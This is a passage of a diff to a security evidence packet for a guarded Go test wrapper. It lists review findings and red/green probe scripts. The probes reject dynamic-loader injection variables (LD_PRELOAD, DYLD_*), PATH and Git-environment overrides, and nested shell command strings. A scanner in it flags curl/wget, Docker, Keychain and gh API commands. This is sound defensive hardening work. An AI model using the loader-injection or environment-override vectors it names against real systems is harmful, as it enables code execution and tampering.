metadata child. The wrapper now rejects both forms immediately after command-shape parsing, before `go env`, metadata, source derivation or execution. | The direct-child monkeypatch regression rejected both forms with empty pre-guard output; no Go test body, live operation or tool hook ran. | +| Prescription audit could fail to account for standard assignment-prefixed `go test` selector commands. | A synthetic `GOTOOLCHAIN=go1.26.8 go test ... -run`/`-skip` pair was the red audit case: a wrapper-only count could remain 28 while an unguarded standard command was present. The logical audit now discovers assignment-prefixed, `env`-wrapped, continued and double-dash forms first, rejects every unguarded candidate, and asserts the 28 logical selector count equals the 28 `go_test_checked` records. | Assignment-prefixed probes were rejected as unguarded and the documented selector count remained exact; no command body or live operation ran. | +| Source/init gate did not account for effectful package variables or imported init paths before `go test -list`. | The prior `go test -list` validation could start the test binary before the expected set was proven, while the source gate only checked active-package `func init`. The minimal safe correction replaces both `go test -list` probes with source-derived top-level test names from the exact `go list -json -test` file set, applies a fail-closed Go-RE2-compatible selector subset, and retains the reviewed source/init gate. | A synthetic package-level effect and imported `init` were parsed without execution; the wrapper contains no `go test -list` child. No initializer, Go test body or live operation ran. | + +The exact wrapper-replay, selector-audit and source-init-boundary outputs above +are the TDD-like red-before-green record for this head correction. The old +`go test -list` records remain explicitly historical/pre-correction evidence; +the current prescription boundary is non-executing source derivation followed +by the guarded original command only after count/set validation. + +### Current exact-head command-prefix selector finding + +The Codex finding on the exact prior packet head +[`ec5eb8087420bbbbb2a8ccf5c5df190b3c644895`](https://github.com/1XP-AI/gh-runnerd/commit/ec5eb8087420bbbbb2a8ccf5c5df190b3c644895)—[4000820533](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4000820533)—was reproduced against that immutable head and corrected here; it is not treated as resolved by a new head or staleness alone: + +| Finding and immutable source | Reproduction and disposition | +|---|---| +| [4000820533](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4000820533), source [ec5eb8087420bbbbb2a8ccf5c5df190b3c644895](https://github.com/1XP-AI/gh-runnerd/commit/ec5eb8087420bbbbb2a8ccf5c5df190b3c644895) | Reproduced: the prior static shell and logical-command selector regexes did not discover `command go test ./livecanary -run ...` or `GOTOOLCHAIN=go1.26.8 command go test ./livecanary -skip=...`, so a wrapper-only count could remain 28; the prior wrapper had no explicit command-prefix guard. Corrected: both audits now discover bare and assignment-prefixed `command [options] go test` forms, while the wrapper and package/build metadata audit reject any `command` prefix before the first Go child. Focused red/green probes covered the two exact forms, option-bearing discovery and no-Go-child rejection with no pre-guard output; no Go test body, live operation, credential or private path was used. | + +### Current exact-head P2 findings at `3bc8445567fe68cc355cf3f88f0c962a41e9cad5` + +These three fresh roots were observed on the immutable packet head at task +start. Each row preserves the discussion URL and exact source blob where the +gap existed, then cites the current wrapper/probe line anchors and the +immutable red/current-green evidence; no row treats head movement as proof of +resolution. + +| Finding and immutable source | Red reproduction, correction and final evidence | +|---|---| +| [4001124039](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4001124039), source [3bc8445567fe68cc355cf3f88f0c962a41e9cad5 lines 858-914](https://github.com/1XP-AI/gh-runnerd/blob/3bc8445567fe68cc355cf3f88f0c962a41e9cad5/docs/evidence/g01-recovery-packet.md#L858-L914) | Reproduced: the immutable source-name helper omitted top-level `Fuzz*`, while `paired-all-except` has no `-run`; an unrepresented fuzz seed could therefore execute. Corrected: the wrapper's pre-Go-child `source_fuzz_guard` scans package test declarations and `source_test_names` rejects `Fuzz*` before digest derivation. Immutable red/current-green evidence is in [the fuzz-target correction](#root-4001124039-top-level-fuzz-declarations); final wrapper anchors are `source_fuzz_declarations`, `source_fuzz_guard`, and the defense-in-depth `Fuzz*` rejection in the wrapper. | +| [4001124042](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4001124042), source [3bc8445567fe68cc355cf3f88f0c962a41e9cad5 lines 917-936](https://github.com/1XP-AI/gh-runnerd/blob/3bc8445567fe68cc355cf3f88f0c962a41e9cad5/docs/evidence/g01-recovery-packet.md#L917-L936) | Reproduced: the immutable helper passed Go `\\w` to Python, where Unicode `é` matched despite Go's ASCII Perl-class semantics. Corrected: preflight rejects unescaped `\\b`, `\\B`, `\\w`, `\\W`, `\\d`, `\\D`, `\\s`, `\\S` before Python compilation/metadata, while escaped literal backslashes remain supported. Immutable red/current-green evidence is at packet lines 2958-3071; final anchors are `reject_python_semantic_regexp_constructs` at lines 917-932, `translate_go_posix_classes`/`reject_unsupported_regexp_syntax` at lines 935-986 and preflight ordering at lines 1013-1017. | +| [4001124048](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4001124048), source [3bc8445567fe68cc355cf3f88f0c962a41e9cad5 lines 3726-3750](https://github.com/1XP-AI/gh-runnerd/blob/3bc8445567fe68cc355cf3f88f0c962a41e9cad5/docs/evidence/g01-recovery-packet.md#L3726-L3750) | Reproduced: the immutable anchored scan missed curl/wget and `env gh`/`command docker` wrappers. Corrected: the current scanner inspects only executable shell fences, joins continuations, skips Python heredocs/comments/prose/URLs/fixtures and strips assignment/env/command wrappers before checking curl/wget, Docker, Lima, Keychain, launchd and gh API/workflow forms. Static synthetic probes and the current scan are at packet lines 4164-4310. | + +### Current exact-head P2 findings at `423d4fc501120a014e63f77d3ef6652606d0326a` + +These two fresh Codex P2 findings from review `5192699095` were observed on +the immutable packet head at task start. Each red witness reads only that +prior packet blob; each current green probe is source-only or static and +proves the no-Go-child boundary without running a test body or live operation. + +#### Root 4001254021: consecutive source comments + +The immutable red witness shows that the prior source-name helper returned +after the first line comment. A valid top-level `TestHidden` declaration +following consecutive line/block comments was therefore omitted: + +```sh +set -euo pipefail +[ "${PATH-}" = "/opt/homebrew/bin:/usr/bin:/bin" ] && [ -x /opt/homebrew/bin/python3 ] || { printf '%s\n' 'reviewed canonical PATH and absolute Python interpreter required' >&2; exit 1; } +[ -z "${LD_PRELOAD-}" ] && [ -z "${LD_PRELOAD_32-}" ] && [ -z "${LD_PRELOAD_64-}" ] && [ -z "${LD_LIBRARY_PATH-}" ] && [ -z "${LD_LIBRARY_PATH_32-}" ] && [ -z "${LD_LIBRARY_PATH_64-}" ] && [ -z "${LD_AUDIT-}" ] && [ -z "${DYLD_INSERT_LIBRARIES-}" ] && [ -z "${DYLD_LIBRARY_PATH-}" ] && [ -z "${DYLD_FALLBACK_LIBRARY_PATH-}" ] && [ -z "${DYLD_FRAMEWORK_PATH-}" ] && [ -z "${DYLD_FALLBACK_FRAMEWORK_PATH-}" ] && [ -z "${DYLD_ROOT_PATH-}" ] || { printf '%s\n' 'inherited dynamic-loader hooks are not allowed before Python startup' >&2; exit 1; } +/opt/homebrew/bin/python3 -I - <<'PY' +import subprocess +from pathlib import Path +from tempfile import TemporaryDirectory + +starting_head = "423d4fc501120a014e63f77d3ef6652606d0326a" +previous = subprocess.check_output( + [ + "/usr/bin/env", "-i", "GIT_CONFIG_NOSYSTEM=1", + "GIT_CONFIG_GLOBAL=/dev/null", "GIT_CONFIG_SYSTEM=/dev/null", + "GIT_ATTR_NOSYSTEM=1", "/usr/bin/git", "--no-replace-objects", + "-P", "-c", "core.fsmonitor=false", "-c", + "core.hooksPath=/dev/null", "show", + f"{starting_head}:docs/evidence/g01-recovery-packet.md", + ], + text=True, +) +wrapper_start = previous.index("\nimport hashlib\n", previous.index("go_test_checked()")) + 1 +wrapper_end = previous.index("\nPY\n}", wrapper_start) +previous_wrapper = previous[wrapper_start:wrapper_end] +helper_start = previous_wrapper.index("def skip_source_ignored") +helper_end = previous_wrapper.index("\nall_test_names = []", helper_start) +namespace = {"label": "prior-comment-red"} +exec(compile(previous_wrapper[helper_start:helper_end], "", "exec"), namespace) +source_names = namespace["source_test_names"] +with TemporaryDirectory() as directory: + source_path = Path(directory) / "comments_test.go" + source_path.write_text( + "package p\n" + "import \"testing\"\n" + "func\n" + "// first line\n" + "/* middle block */\n" + "// second line\n" + "TestHidden(t *testing.T) {}\n", + encoding="utf-8", + ) + if source_names(source_path) != []: + raise SystemExit( + "red reproduction setup changed: prior parser no longer omitted TestHidden" + ) +print( + f"RED source-name comment gap: prior {starting_head} omitted TestHidden " + "after consecutive line/block comments" +) +PY +``` + +Recorded red output: + +```text +RED source-name comment gap: prior 423d4fc501120a014e63f77d3ef6652606d0326a omitted TestHidden after consecutive line/block comments +``` + +The current source-only regression proves that the helper consumes all +consecutive ignored tokens and discovers `TestHidden`; it patches any attempted +Go child to fail, so discovery cannot silently expand into execution: + +```sh +set -euo pipefail +[ "${PATH-}" = "/opt/homebrew/bin:/usr/bin:/bin" ] && [ -x /opt/homebrew/bin/python3 ] || { printf '%s\n' 'reviewed canonical PATH and absolute Python interpreter required' >&2; exit 1; } +[ -z "${LD_PRELOAD-}" ] && [ -z "${LD_PRELOAD_32-}" ] && [ -z "${LD_PRELOAD_64-}" ] && [ -z "${LD_LIBRARY_PATH-}" ] && [ -z "${LD_LIBRARY_PATH_32-}" ] && [ -z "${LD_LIBRARY_PATH_64-}" ] && [ -z "${LD_AUDIT-}" ] && [ -z "${DYLD_INSERT_LIBRARIES-}" ] && [ -z "${DYLD_LIBRARY_PATH-}" ] && [ -z "${DYLD_FALLBACK_LIBRARY_PATH-}" ] && [ -z "${DYLD_FRAMEWORK_PATH-}" ] && [ -z "${DYLD_FALLBACK_FRAMEWORK_PATH-}" ] && [ -z "${DYLD_ROOT_PATH-}" ] || { printf '%s\n' 'inherited dynamic-loader hooks are not allowed before Python startup' >&2; exit 1; } +# g01-safe-python-heredoc: reviewed legacy dynamic-argv probe +/opt/homebrew/bin/python3 -I - <<'PY' +import subprocess +from pathlib import Path +from tempfile import TemporaryDirectory + +packet = Path("docs/evidence/g01-recovery-packet.md").read_text(encoding="utf-8") +wrapper_start = packet.index("\nimport hashlib\n", packet.index("go_test_checked()")) + 1 +wrapper_end = packet.index("\nPY\n}", wrapper_start) +wrapper = packet[wrapper_start:wrapper_end] +helper_start = wrapper.index("def skip_source_ignored") +helper_end = wrapper.index("\nall_test_names = []", helper_start) +namespace = {"label": "comment-green"} +exec(compile(wrapper[helper_start:helper_end], "", "exec"), namespace) +source_names = namespace["source_test_names"] +real_run = subprocess.run +go_children = [] + +def reject_go_child(*args, **kwargs): + command = args[0] if args else kwargs.get("args", []) + if command and command[0] == "go": + go_children.append(tuple(command)) + raise AssertionError("source-name helper started a Go child") + return real_run(*args, **kwargs) + +subprocess.run = reject_go_child +try: + with TemporaryDirectory() as directory: + source_path = Path(directory) / "comments_test.go" + source_path.write_text( + "package p\n" + "import \"testing\"\n" + "func\n" + "// first line\n" + "/* middle block */\n" + "// second line\n" + "TestHidden(t *testing.T) {}\n", + encoding="utf-8", + ) + names = source_names(source_path) +finally: + subprocess.run = real_run +if names != ["TestHidden"]: + raise SystemExit(f"source-name comment regression discovered {names!r}") +if go_children: + raise SystemExit(f"source-name helper started Go child(ren): {go_children!r}") +print( + "source-name comment regression: passed; TestHidden discovered after " + "consecutive line/block comments with no Go child" +) +PY +``` + +#### Root 4001254025: unsupported POSIX regexp classes + +The immutable red witness demonstrates a set mismatch for `[[:xdigit:]]`. +The prior helper left this nested class untranslated; Python consequently +derived a set unlike Go's ASCII `[0-9A-Fa-f]` class: + +```sh +set -euo pipefail +[ "${PATH-}" = "/opt/homebrew/bin:/usr/bin:/bin" ] && [ -x /opt/homebrew/bin/python3 ] || { printf '%s\n' 'reviewed canonical PATH and absolute Python interpreter required' >&2; exit 1; } +[ -z "${LD_PRELOAD-}" ] && [ -z "${LD_PRELOAD_32-}" ] && [ -z "${LD_PRELOAD_64-}" ] && [ -z "${LD_LIBRARY_PATH-}" ] && [ -z "${LD_LIBRARY_PATH_32-}" ] && [ -z "${LD_LIBRARY_PATH_64-}" ] && [ -z "${LD_AUDIT-}" ] && [ -z "${DYLD_INSERT_LIBRARIES-}" ] && [ -z "${DYLD_LIBRARY_PATH-}" ] && [ -z "${DYLD_FALLBACK_LIBRARY_PATH-}" ] && [ -z "${DYLD_FRAMEWORK_PATH-}" ] && [ -z "${DYLD_FALLBACK_FRAMEWORK_PATH-}" ] && [ -z "${DYLD_ROOT_PATH-}" ] || { printf '%s\n' 'inherited dynamic-loader hooks are not allowed before Python startup' >&2; exit 1; } +/opt/homebrew/bin/python3 -I - <<'PY' +import re +import subprocess +import warnings + +starting_head = "423d4fc501120a014e63f77d3ef6652606d0326a" +previous = subprocess.check_output( + [ + "/usr/bin/env", "-i", "GIT_CONFIG_NOSYSTEM=1", + "GIT_CONFIG_GLOBAL=/dev/null", "GIT_CONFIG_SYSTEM=/dev/null", + "GIT_ATTR_NOSYSTEM=1", "/usr/bin/git", "--no-replace-objects", + "-P", "-c", "core.fsmonitor=false", "-c", + "core.hooksPath=/dev/null", "show", + f"{starting_head}:docs/evidence/g01-recovery-packet.md", + ], + text=True, +) +wrapper_start = previous.index("\nimport hashlib\n", previous.index("go_test_checked()")) + 1 +wrapper_end = previous.index("\nPY\n}", wrapper_start) +previous_wrapper = previous[wrapper_start:wrapper_end] +helper_start = previous_wrapper.index("def reject_python_semantic_regexp_constructs") +guard_call = previous_wrapper.index("\nsource_fuzz_guard()", helper_start) +go_start = previous_wrapper.index("def go_compatible_regexp", helper_start) +go_end = previous_wrapper.index("\nall_test_names = []", go_start) +namespace = {"label": "prior-posix-red", "re": re} +exec( + compile( + previous_wrapper[helper_start:guard_call] + previous_wrapper[go_start:go_end], + "", + "exec", + ), + namespace, +) +with warnings.catch_warnings(): + warnings.simplefilter("ignore", FutureWarning) + go_regexp = namespace["go_compatible_regexp"] + compiled = go_regexp(r"[[:xdigit:]]", "-run") +python_matches = [value for value in ["A", "g"] if compiled.search(value)] +go_expected = ["A"] +if python_matches == go_expected: + raise SystemExit("red reproduction setup changed: prior POSIX helper matched Go xdigit") +print( + f"RED regexp POSIX mismatch: prior {starting_head} left [[:xdigit:]] " + f"untranslated; Python matched {python_matches!r}, while Go xdigit expects " + f"{go_expected!r}" +) +PY +``` + +Recorded red output: + +```text +RED regexp POSIX mismatch: prior 423d4fc501120a014e63f77d3ef6652606d0326a left [[:xdigit:]] untranslated; Python matched [], while Go xdigit expects ['A'] +``` + +The current regexp preflight rejects every standard POSIX class outside the +explicit translated table before Python compilation and before package +metadata. The focused no-Go-child probe covers all six currently unsupported +classes, verifies each reviewed translation remains exact, and preserves both +escaped POSIX text and the previously reviewed literal backslash behavior: + +```sh +set -euo pipefail +[ "${PATH-}" = "/opt/homebrew/bin:/usr/bin:/bin" ] && [ -x /opt/homebrew/bin/python3 ] || { printf '%s\n' 'reviewed canonical PATH and absolute Python interpreter required' >&2; exit 1; } +[ -z "${LD_PRELOAD-}" ] && [ -z "${LD_PRELOAD_32-}" ] && [ -z "${LD_PRELOAD_64-}" ] && [ -z "${LD_LIBRARY_PATH-}" ] && [ -z "${LD_LIBRARY_PATH_32-}" ] && [ -z "${LD_LIBRARY_PATH_64-}" ] && [ -z "${LD_AUDIT-}" ] && [ -z "${DYLD_INSERT_LIBRARIES-}" ] && [ -z "${DYLD_LIBRARY_PATH-}" ] && [ -z "${DYLD_FALLBACK_LIBRARY_PATH-}" ] && [ -z "${DYLD_FRAMEWORK_PATH-}" ] && [ -z "${DYLD_FALLBACK_FRAMEWORK_PATH-}" ] && [ -z "${DYLD_ROOT_PATH-}" ] || { printf '%s\n' 'inherited dynamic-loader hooks are not allowed before Python startup' >&2; exit 1; } +# g01-safe-python-heredoc: reviewed legacy dynamic-argv probe +/opt/homebrew/bin/python3 -I - <<'PY' +import re +import subprocess +from pathlib import Path + +packet = Path("docs/evidence/g01-recovery-packet.md").read_text(encoding="utf-8") +wrapper_start = packet.index("\nimport hashlib\n", packet.index("go_test_checked()")) + 1 +wrapper_end = packet.index("\nPY\n}", wrapper_start) +wrapper = packet[wrapper_start:wrapper_end] +preflight = wrapper.index("reject_unsupported_regexp_syntax(original_run_pattern") +metadata_guard = wrapper.index("test_source_paths = package_initialization_guard()") +if preflight > metadata_guard: + raise SystemExit("POSIX regexp preflight moved after package metadata") +helper_start = wrapper.index("def reject_python_semantic_regexp_constructs") +guard_call = wrapper.index("\nsource_fuzz_guard()", helper_start) +go_start = wrapper.index("def go_compatible_regexp", helper_start) +go_end = wrapper.index("\nall_test_names = []", go_start) +namespace = {"label": "posix-green", "re": re} +exec( + compile( + wrapper[helper_start:guard_call] + wrapper[go_start:go_end], + "", + "exec", + ), + namespace, +) +go_regexp = namespace["go_compatible_regexp"] +real_compile = re.compile +compile_calls = [] + +def recording_compile(pattern, *args, **kwargs): + compile_calls.append(pattern) + return real_compile(pattern, *args, **kwargs) + +real_run = subprocess.run +go_children = [] + +def reject_go_child(*args, **kwargs): + command = args[0] if args else kwargs.get("args", []) + if command and command[0] == "go": + go_children.append(tuple(command)) + raise AssertionError("regexp preflight started a Go child") + return real_run(*args, **kwargs) + +re.compile = recording_compile +subprocess.run = reject_go_child +try: + unsupported = [ + r"[[:blank:]]", + r"[[:cntrl:]]", + r"[[:graph:]]", + r"[[:print:]]", + r"[[:punct:]]", + r"[[:xdigit:]]", + ] + for pattern in unsupported: + try: + go_regexp(pattern, "-run") + except SystemExit as error: + if "unsupported POSIX regexp class" not in str(error): + raise + else: + raise SystemExit(f"unsupported POSIX class was accepted: {pattern!r}") + if compile_calls: + raise SystemExit(f"unsupported POSIX class reached Python compile: {compile_calls!r}") + + reviewed = { + r"[[:alnum:]]": "[A-Za-z0-9]", + r"[[:alpha:]]": "[A-Za-z]", + r"[[:digit:]]": "[0-9]", + r"[[:lower:]]": "[a-z]", + r"[[:upper:]]": "[A-Z]", + r"[[:space:]]": r"[\t\n\r\f ]", + r"[[:word:]]": "[A-Za-z0-9_]", + } + for pattern, expected in reviewed.items(): + compiled = go_regexp(pattern, "-run") + if compiled.pattern != expected: + raise SystemExit( + f"reviewed POSIX translation changed for {pattern!r}: " + f"{compiled.pattern!r}" + ) + literal_posix = go_regexp(r"\[\[:xdigit:\]\]", "-run") + if not literal_posix.fullmatch("[[:xdigit:]]"): + raise SystemExit("escaped literal POSIX text was not preserved") + literal_backslash = go_regexp(r"\\b", "-run") + if not literal_backslash.fullmatch(r"\b"): + raise SystemExit("escaped literal backslash was not preserved") +finally: + re.compile = real_compile + subprocess.run = real_run +if go_children: + raise SystemExit(f"regexp preflight started Go child(ren): {go_children!r}") +print( + "regexp POSIX preflight regression: passed; 6 unsupported classes rejected " + "before Python compile/Go child, reviewed translations and escaped literals preserved" +) +PY +``` + +### Fresh exact-head P2 corrections at `f7e723d2bc9efdf2a4a345ae5ee1e76c03bb943e` + +The four actionable Codex P2 roots below were reproduced against the immutable +packet blob at exact head `f7e723d2bc9efdf2a4a345ae5ee1e76c03bb943e` before +editing. The red probes extracted only the prior wrapper/scanner from +`git show :docs/evidence/g01-recovery-packet.md`; they did not execute a +Go test body or live operation. The current-green probes then exercised the +edited packet helpers with synthetic subprocess guards, source files, shell +tokens and a FIFO; no Go test child, credential, private path or live resource +was used. + +#### Root 4001378617: PATH and loader-affecting assignment prefixes + +The immutable red probe observed the prior first Go child receiving a +command-prefix `PATH=/synthetic/bin` and `LD_PRELOAD=/synthetic/lib/libshim.dylib`. +That allowed a transparent executable named `go` earlier on PATH to run before +the reviewed metadata boundary. The corrected wrapper rejects PATH plus the +reviewed Linux/macOS loader-affecting assignment names immediately after +prefix parsing and before any guarded Go subprocess. + +Recorded red output: + +```text +RED PATH/loader-prefix gap: prior f7e723d2bc9efdf2a4a345ae5ee1e76c03bb943e forwarded PATH='/synthetic/bin' and LD_PRELOAD='/synthetic/lib/libshim.dylib' to first Go child ('go', 'env', 'GOFLAGS'); a transparent executable wrapper could run +``` + +Recorded current-green output: + +```text +loader-prefix regression: passed; PATH and 13 equivalent LD_/DYLD_ assignments rejected before any Go child/result, and transparent go wrapper did not run +``` + +The boundary includes separated command-prefix assignments, an executable +transparent `go` wrapper that would leave a marker if reached, and the allowed +`GOTOOLCHAIN` assignment remains outside the rejection set. Final anchor: +[PATH/loader boundary](#root-4001378617-path-and-loader-affecting-assignment-prefixes). + +#### Root 4001378618: Go Unicode lowercase predicate for test names + +The immutable red probe used the prior Python `str.islower()` predicate and +showed that it omitted `Testª`, although Go's `unicode.IsLower(U+00AA)` is false. +The corrected source-name helper uses the Unicode lowercase-letter (`Ll`) +category, matching cmd/go's `isTest` rule: an empty suffix or a first suffix +rune that is not lowercase is accepted, including uppercase, titlecase and +other non-lowercase runes. + +Recorded red output: + +```text +RED Unicode Test-name gap: prior f7e723d2bc9efdf2a4a345ae5ee1e76c03bb943e used Python islower and omitted Testª (Go unicode.IsLower(U+00AA)=false); observed ['TestDž', 'Testƻ', 'Test中'], expected ['TestDž', 'Testƻ', 'Test中', 'Testª'] +``` + +Recorded current-green output: + +```text +source-name Unicode regression: passed; Testª/title/other non-lowercase runes accepted, lowercase Testa/Testdž rejected, no Go child +``` + +The source-only boundary retained `Test`, `Test1`, `Test_Foo`, ASCII +uppercase, titlecase `Dž`, other-letter `ƻ`/`中`, and `Testª`, while rejecting +lowercase-initial `Testa` and `Testdž`; no Go child or test body ran. Final +anchor: [Go Unicode test-name boundary](#root-4001378618-go-unicode-lowercase-predicate-for-test-names). + +#### Root 4001378622: recursive shell command-string scan + +The immutable red probe showed that the prior executable-token scan accepted +direct `bash -c`/`sh -c` and nested shell command strings without inspecting +their payloads. The corrected static scanner recognizes absolute and optioned +shells, `busybox sh`, wrapper prefixes and nested command strings, recursively +examining payloads and rejecting the command-string form before any nested +payload could execute. + +Recorded red output: + +```text +RED nested-shell command gap: prior f7e723d2bc9efdf2a4a345ae5ee1e76c03bb943e accepted direct bash/sh -c and nested shell command strings without recursively inspecting their live command payloads +``` + +Recorded current-green output: + +```text +nested-shell forbidden-command regression: passed; direct/absolute/optioned/env/busybox and nested bash/sh -c forms rejected; safe printf boundary retained +``` + +The focused boundary covered direct bash/sh, `/bin/bash -xc`, env-wrapped +`/bin/sh --command`, `busybox sh -c`, and nested `bash -c "sh -c ..."`, while +retaining a safe direct `printf` result. Final anchor: [recursive shell +command-string boundary](#root-4001378622-recursive-shell-command-string-scan). + +#### Root 4001378624: cleanliness gate before source reads + +The immutable red probe created an ignored FIFO named `stuck_test.go` and ran +the prior source-fuzz scan in a bounded child; it blocked while opening the +candidate before the cleanliness gate. The corrected order performs the +immutable module-tree and `git status --ignored=matching` gate first, then +opens candidate source files only after a clean result. A synthetic ignored +FIFO status record is rejected before read, metadata/Go child or blocking. + +Recorded red output: + +```text +RED cleanliness/source-read gap: prior f7e723d2bc9efdf2a4a345ae5ee1e76c03bb943e opened ignored candidate FIFO stuck_test.go before the status gate; bounded probe blocked in source scan +``` + +Recorded current-green output: + +```text +FIFO cleanliness regression: passed; ignored stuck_test.go rejected before read, metadata/Go child, or blocking +``` + +The green probe verifies the candidate is a real FIFO, status reports it as +ignored, the candidate `read_text` hook is never reached, and no Go subprocess +is started. Final anchor: [cleanliness-before-source-read boundary](#root-4001378624-cleanliness-gate-before-source-reads). + +### Fresh exact-head P2 correction at `01764bbed0a387129d2a2abbc9e27a87e073f87e` + +The fresh Codex finding below was reproduced against the immutable packet blob +at the exact starting head before editing. The red probe stops at the first Git +query after injecting synthetic repository/worktree/index overrides; it does +not run the metadata query, selector parser, test body or live operation. The +current green probe exercises inherited and command-prefix forms for the +repository-control namespace, patches both Git and Go child launches, and +requires rejection before immutable-tree/status validation. + +#### Root 4001471783: Git repository-control environment overrides + +The immutable red witness shows that the prior wrapper performed +`git rev-parse --show-toplevel` before parsing or rejecting environment +assignments. `GIT_WORK_TREE`, `GIT_DIR` and `GIT_INDEX_FILE` therefore reached +the first Git query and could redirect worktree, repository or index semantics; +the same ordering left related `GIT_*` repository, object, config, namespace, +discovery, pathspec and replacement controls unchecked. + +```sh set -euo pipefail [ "${PATH-}" = "/opt/homebrew/bin:/usr/bin:/bin" ] && [ -x /opt/homebrew/bin/python3 ] || { printf '%s\n' 'reviewed canonical PATH and absolute Python interpreter required' >&2; exit 1; } [ -z "${LD_PRELOAD-}" ] && [ -z "${LD_PRELOAD_32-}" ] && [ -z "${LD_PRELOAD_64-}" ] && [ -z "${LD_LIBRARY_PATH-}" ] && [ -z "${LD_LIBRARY_PATH_32-}" ] && [ -z "${LD_LIBRARY_PATH_64-}" ] && [ -z "${LD_AUDIT-}" ] && [ -z "${DYLD_INSERT_LIBRARIES-}" ] && [ -z "${DYLD_LIBRARY_PATH-}" ] && [ -z "${DYLD_FALLBACK_LIBRARY_PATH-}" ] && [ -z "${DYLD_FRAMEWORK_PATH-}" ] && [ -z "${DYLD_FALLBACK_FRAMEWORK_PATH-}" ] && [ -z "${DYLD_ROOT_PATH-}" ] || { printf '%s\n' 'inherited dynamic-loader hooks are not allowed before Python startup' >&2; exit 1; } @@ -13388,8 +25485,11 @@ import sys starting_head = "01764bbed0a387129d2a2abbc9e27a87e073f87e" previous = subprocess.check_output( [ - "git", - "show", + "/usr/bin/env", "-i", "GIT_CONFIG_NOSYSTEM=1", + "GIT_CONFIG_GLOBAL=/dev/null", "GIT_CONFIG_SYSTEM=/dev/null", + "GIT_ATTR_NOSYSTEM=1", "/usr/bin/git", "--no-replace-objects", + "-P", "-c", "core.fsmonitor=false", "-c", + "core.hooksPath=/dev/null", "show", f"{starting_head}:docs/evidence/g01-recovery-packet.md", ], text=True, @@ -13625,7 +25725,7 @@ from contextlib import redirect_stdout starting_head = "4bd66186ea8d980a06ed8a4adf7f51e76b5028ef" previous = subprocess.check_output( - ["git", "show", f"{starting_head}:docs/evidence/g01-recovery-packet.md"], + ["/usr/bin/env", "-i", "GIT_CONFIG_NOSYSTEM=1", "GIT_CONFIG_GLOBAL=/dev/null", "GIT_CONFIG_SYSTEM=/dev/null", "GIT_ATTR_NOSYSTEM=1", "/usr/bin/git", "--no-replace-objects", "-P", "-c", "core.fsmonitor=false", "-c", "core.hooksPath=/dev/null", "show", f"{starting_head}:docs/evidence/g01-recovery-packet.md"], text=True, ) start = previous.index("\nimport hashlib\n", previous.index("go_test_checked()")) + 1 @@ -13731,7 +25831,7 @@ import subprocess starting_head = "4bd66186ea8d980a06ed8a4adf7f51e76b5028ef" previous = subprocess.check_output( - ["git", "show", f"{starting_head}:docs/evidence/g01-recovery-packet.md"], + ["/usr/bin/env", "-i", "GIT_CONFIG_NOSYSTEM=1", "GIT_CONFIG_GLOBAL=/dev/null", "GIT_CONFIG_SYSTEM=/dev/null", "GIT_ATTR_NOSYSTEM=1", "/usr/bin/git", "--no-replace-objects", "-P", "-c", "core.fsmonitor=false", "-c", "core.hooksPath=/dev/null", "show", f"{starting_head}:docs/evidence/g01-recovery-packet.md"], text=True, ) scanner_start = previous.index('fence_languages = {"sh", "bash", "shell", "zsh"}') @@ -13800,7 +25900,7 @@ import subprocess starting_head = "4bd66186ea8d980a06ed8a4adf7f51e76b5028ef" previous = subprocess.check_output( - ["git", "show", f"{starting_head}:docs/evidence/g01-recovery-packet.md"], + ["/usr/bin/env", "-i", "GIT_CONFIG_NOSYSTEM=1", "GIT_CONFIG_GLOBAL=/dev/null", "GIT_CONFIG_SYSTEM=/dev/null", "GIT_ATTR_NOSYSTEM=1", "/usr/bin/git", "--no-replace-objects", "-P", "-c", "core.fsmonitor=false", "-c", "core.hooksPath=/dev/null", "show", f"{starting_head}:docs/evidence/g01-recovery-packet.md"], text=True, ) old_selector = re.compile( @@ -13876,7 +25976,7 @@ from pathlib import Path starting_head = "943ebece04882a0faf055d73e5988bd8954088f8" previous = subprocess.check_output( - ["git", "show", f"{starting_head}:docs/evidence/g01-recovery-packet.md"], + ["/usr/bin/env", "-i", "GIT_CONFIG_NOSYSTEM=1", "GIT_CONFIG_GLOBAL=/dev/null", "GIT_CONFIG_SYSTEM=/dev/null", "GIT_ATTR_NOSYSTEM=1", "/usr/bin/git", "--no-replace-objects", "-P", "-c", "core.fsmonitor=false", "-c", "core.hooksPath=/dev/null", "show", f"{starting_head}:docs/evidence/g01-recovery-packet.md"], text=True, ) start = previous.index("\nimport hashlib\n", previous.index("go_test_checked()")) + 1 @@ -14270,7 +26370,7 @@ sanitized synthetic environment; the historical Git probe used a temporary repository only and did not touch this worktree. The exact command is retained below for reproducibility: -```sh +```text set -euo pipefail [ "${PATH-}" = "/opt/homebrew/bin:/usr/bin:/bin" ] && [ -x /opt/homebrew/bin/python3 ] || { printf '%s\n' 'reviewed canonical PATH and absolute Python interpreter required' >&2; exit 1; } [ -z "${LD_PRELOAD-}" ] && [ -z "${LD_PRELOAD_32-}" ] && [ -z "${LD_PRELOAD_64-}" ] && [ -z "${LD_LIBRARY_PATH-}" ] && [ -z "${LD_LIBRARY_PATH_32-}" ] && [ -z "${LD_LIBRARY_PATH_64-}" ] && [ -z "${LD_AUDIT-}" ] && [ -z "${DYLD_INSERT_LIBRARIES-}" ] && [ -z "${DYLD_LIBRARY_PATH-}" ] && [ -z "${DYLD_FALLBACK_LIBRARY_PATH-}" ] && [ -z "${DYLD_FRAMEWORK_PATH-}" ] && [ -z "${DYLD_FALLBACK_FRAMEWORK_PATH-}" ] && [ -z "${DYLD_ROOT_PATH-}" ] || { printf '%s\n' 'inherited dynamic-loader hooks are not allowed before Python startup' >&2; exit 1; } @@ -14286,7 +26386,7 @@ from pathlib import Path starting_head = "d85f99fa70a6f563079b1ed4f29a1bc97740a3c5" packet_path = "docs/evidence/g01-recovery-packet.md" previous = subprocess.check_output( - ["git", "show", f"{starting_head}:{packet_path}"], text=True + ["/usr/bin/env", "-i", "GIT_CONFIG_NOSYSTEM=1", "GIT_CONFIG_GLOBAL=/dev/null", "GIT_CONFIG_SYSTEM=/dev/null", "GIT_ATTR_NOSYSTEM=1", "/usr/bin/git", "--no-replace-objects", "-P", "-c", "core.fsmonitor=false", "-c", "core.hooksPath=/dev/null", "show", f"{starting_head}:{packet_path}"], text=True ) wrapper_start = previous.index("\nimport hashlib\n", 